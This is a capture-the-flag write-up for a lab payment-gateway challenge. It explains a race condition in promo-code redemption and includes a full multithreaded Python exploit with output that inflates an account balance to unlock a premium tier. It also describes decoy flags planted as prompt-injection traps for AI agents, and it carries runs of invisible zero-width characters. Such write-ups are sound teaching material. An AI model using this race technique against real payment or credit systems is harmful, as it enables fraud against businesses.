← Back to Writeups
CUSTOMMediumWeb

Lab 374 — PayStream — Race Condition in Promo Code Redemption

XESXOR9/10/20266 min read
#web#custom#medium#promo_code_multi_redemption#session_cookie_sharing_across_#thread_barrier_synchronization#tier_escalation_via_balance_in#toctou_race_condition_exploita

Lab 374 — PayStream — Race Condition in Promo Code Redemption

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: promo_code_multi_redemption, session_cookie_sharing_across_threads, thread_barrier_synchronization, tier_escalation_via_balance_inflation, toctou_race_condition_exploitation

Summary

Task: Payment gateway with tiered API access (Starter/Growth/Premium) based on account balance; promo code WELCOME50 gives $50 credit with non-atomic check-then-update redemption logic. Solution: TOCTOU race condition — 300 concurrent threads redeem the same single-use promo code before the 'already redeemed' flag is set, inflating balance from $45 to $545 to unlock Premium tier and access /api/admin/premium-config containing the flag.

Lab 374 — PayStream — Race Condition in Promo Code Redemption — HackAdvisor

Description

PayStream is a payment gateway platform built by StreamPay Technologies for merchants who need to process online payments. The platform offers tiered API access (Starter, Growth, Premium) based on account balance, with features including transaction management, API key provisioning, webhook configuration, and billing with promotional credits. Your objective is to find a way to access premium-tier configuration data that should be restricted to high-balance merchants. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js payment gateway with three access tiers determined by account balance. The Billing page allows redeeming promo codes for credit. The goal is to reach Premium tier ($500+ balance) and access restricted admin configuration that contains the flag.

Analysis

Platform Architecture

  • Stack: Express.js (Node.js) with connect.sid session cookies
  • Pages: Dashboard, Transactions, API Keys, Webhooks, Billing & Credits, Settings
  • API docs: Available at /api/v1/docs, revealing all endpoints including restricted ones
  • Credentials: user@test.com / password123 (starting balance: $45.00) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tier System

TierBalance RequiredAccess Level
Starter$0Basic API access
Growth$200+Extended features
Premium$500+Full access including /api/admin/premium-config

Promo Code Mechanism

The Billing page (/billing) has a "Redeem Promo Code" form that sends:

POST /api/billing/redeem
Content-Type: application/json
{"code": "WELCOME50"}

The promo code WELCOME50 was discovered by guessing common patterns. It grants $50 credit per redemption and is intended to be single-use per user. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flags

Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden <div> elements — prompt injection traps designed to mislead automated tools and AI agents.

Vulnerability: TOCTOU Race Condition

The POST /api/billing/redeem endpoint implements a classic Time-of-Check to Time-of-Use (TOCTOU) race condition with a non-atomic three-step process:

  1. CHECK: Server queries whether this user has already redeemed the promo code
  2. APPLY: $50 credit is added to the user's wallet balance
  3. UPDATE: The promo code is marked as redeemed for this user ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Between steps 1 and 3, there is a time window where multiple concurrent requests can all pass the "already redeemed" check before any of them marks the code as used. This is a textbook non-atomic check-then-update pattern.

There are two independent guards:

  • Per-user check: "You have already redeemed this code" — bypassed by the race
  • Global counter: "This promo code has reached its maximum redemptions" — exhausted after enough successful race wins

Critical Constraint

Testing the promo code before racing burns the single-use code for that user. The race must be the first interaction with the code — no pre-testing allowed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and Verify Starting Balance

python
s = requests.Session()
s.verify = False
s.post(f"{BASE}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False)
cookie = s.cookies.get("connect.sid")

Starting balance: $45.00. Need $500 for Premium tier, so need at least 10 successful $50 redemptions (10 × $50 = $500, plus $45 starting = $545).

Step 2: Race Attack with Thread Barrier

The key technique is using threading.Barrier to synchronize all threads so they release their HTTP requests at the exact same instant, maximizing the chance of hitting the TOCTOU window: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
barrier = threading.Barrier(NUM_THREADS, timeout=30)

def attack(idx):
    t = requests.Session()
    t.verify = False
    t.cookies.set("connect.sid", cookie)  # Share session across threads
    try:
        barrier.wait()  # All threads wait here until all are ready
        r = t.post(f"{BASE}/api/billing/redeem", json={"code": "WELCOME50"}, timeout=30)
        # Process result...
    except:
        pass

Each thread uses a separate requests.Session but shares the same connect.sid cookie, so all requests are authenticated as the same user. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Thread Count Tuning

  • 200 threads: Only 9 race wins → $495 ($45 + 9×$50) — $5 short of $500 threshold
  • 300 threads: 10 race wins → $545 ($45 + 10×$50) — sufficient for Premium tier

The race is probabilistic. More threads increase the probability of enough concurrent requests hitting the TOCTOU window.

Step 4: Access Premium Config

With balance $545 ≥ $500, the account is upgraded to Premium tier:

python
r = s.get(f"{BASE}/api/admin/premium-config")
data = r.json()
# Flag is in data["configs"]["internal_api_secret"]["value"]

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full Exploit Script

python
#!/usr/bin/env python3
"""PayStream Race Condition Exploit — TOCTOU promo code redemption"""
import requests, threading, re, json, urllib3
urllib3.disable_warnings()

BASE = "https://41ef9abc-f3b9-4eec-9db3-dc435b546078.labs.hackadvisor.io"
NUM_THREADS = 300

# Login
s = requests.Session()
s.verify = False
s.post(f"{BASE}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False)
cookie = s.cookies.get("connect.sid")
print(f"[*] Logged in, cookie: ...{cookie[-20:]}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Check balance
r = s.get(f"{BASE}/billing")
m = re.search(r'currentBalance">\$([0-9.]+)', r.text)
print(f"[*] Starting balance: ${m.group(1) if m else '?'}")

# Race attack
barrier = threading.Barrier(NUM_THREADS, timeout=30)
results = []
lock = threading.Lock()

def attack(idx):
    t = requests.Session()
    t.verify = False
    t.cookies.set("connect.sid", cookie)
    try:
        barrier.wait()
        r = t.post(f"{BASE}/api/billing/redeem", json={"code": "WELCOME50"}, timeout=30)
        data = r.json()
        with lock:
            results.append(data)
            if data.get("success"):
                print(f"  [+] Thread {idx}: +$50 → ${data.get('new_balance',0):.2f} ({data.get('tier','?')})")
    except:
        pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"[*] Launching {NUM_THREADS} threads...")
threads = [threading.Thread(target=attack, args=(i,)) for i in range(NUM_THREADS)]
for t in threads:
    t.start()
for t in threads:
    t.join(timeout=60)

successes = [r for r in results if r.get("success")]
print(f"\n[*] Results: {len(successes)} success / {len(results)} total")

# Check actual balance
r = s.get(f"{BASE}/billing")
m = re.search(r'currentBalance">\$([0-9.]+)', r.text)
bal = float(m.group(1)) if m else 0
print(f"[*] Final balance: ${bal:.2f}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if bal >= 500:
    print(f"\n[!!!] Balance >= $500! Accessing premium config...")
    r = s.get(f"{BASE}/api/admin/premium-config")
    data = r.json()
    print(json.dumps(data, indent=2))
    flag = re.search(r'FLAG\{[^}]+\}', json.dumps(data))
    if flag:
        print(f"\nFLAG: {flag.group(0)}")

Race Condition Output

[*] Starting balance: $45.00
[*] Launching 300 threads...
  [+] Thread 185: +$50 → $145.00 (starter)
  [+] Thread 39: +$50 → $95.00 (starter)
  [+] Thread 62: +$50 → $295.00 (growth)
  [+] Thread 218: +$50 → $345.00 (growth)
  [+] Thread 162: +$50 → $395.00 (growth)
  [+] Thread 117: +$50 → $495.00 (growth)
  [+] Thread 283: +$50 → $545.00 (premium)
  [+] Thread 200: +$50 → $245.00 (growth)
  [+] Thread 137: +$50 → $195.00 (starter)
  [+] Thread 208: +$50 → $445.00 (growth)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

[*] Results: 10 success / 170 total
[*] Breakdown: {'success': 10, 'You have already redeemed this code': 160}
[*] Final balance: $545.00

[!!!] Balance >= $500! Accessing premium config...

Premium Config Response (Flag)

json
{
  "tier": "premium",
  "configs": {
    "internal_api_secret": {
      "value": "FLAG{REDACTED}",
      "description": "Internal API secret for premium tier integrations"
    },
    "rate_limit_premium": {"value": "10000", "description": "Premium tier rate limit per hour"},
    "webhook_retry_max": {"value": "5", "description": "Maximum webhook retry attempts for premium"},
    "batch_processing": {"value": "enabled", "description": "Batch transaction processing for premium accounts"},
    "priority_support_email": {"value": "premium-support@streampay.io", "description": "Priority support contact"}
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Approaches

  1. Using username field in register form: The correct field name is company_name, not username. Registration failed silently until this was corrected.
  2. Testing promo code before racing: A single test redemption burns the code for that user, making the race pointless. The race must be the first interaction with the code.
  3. 200 threads: Only 9 race wins ($495), falling $5 short of the $500 Premium threshold. Increasing to 300 threads reliably yielded 10+ wins. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍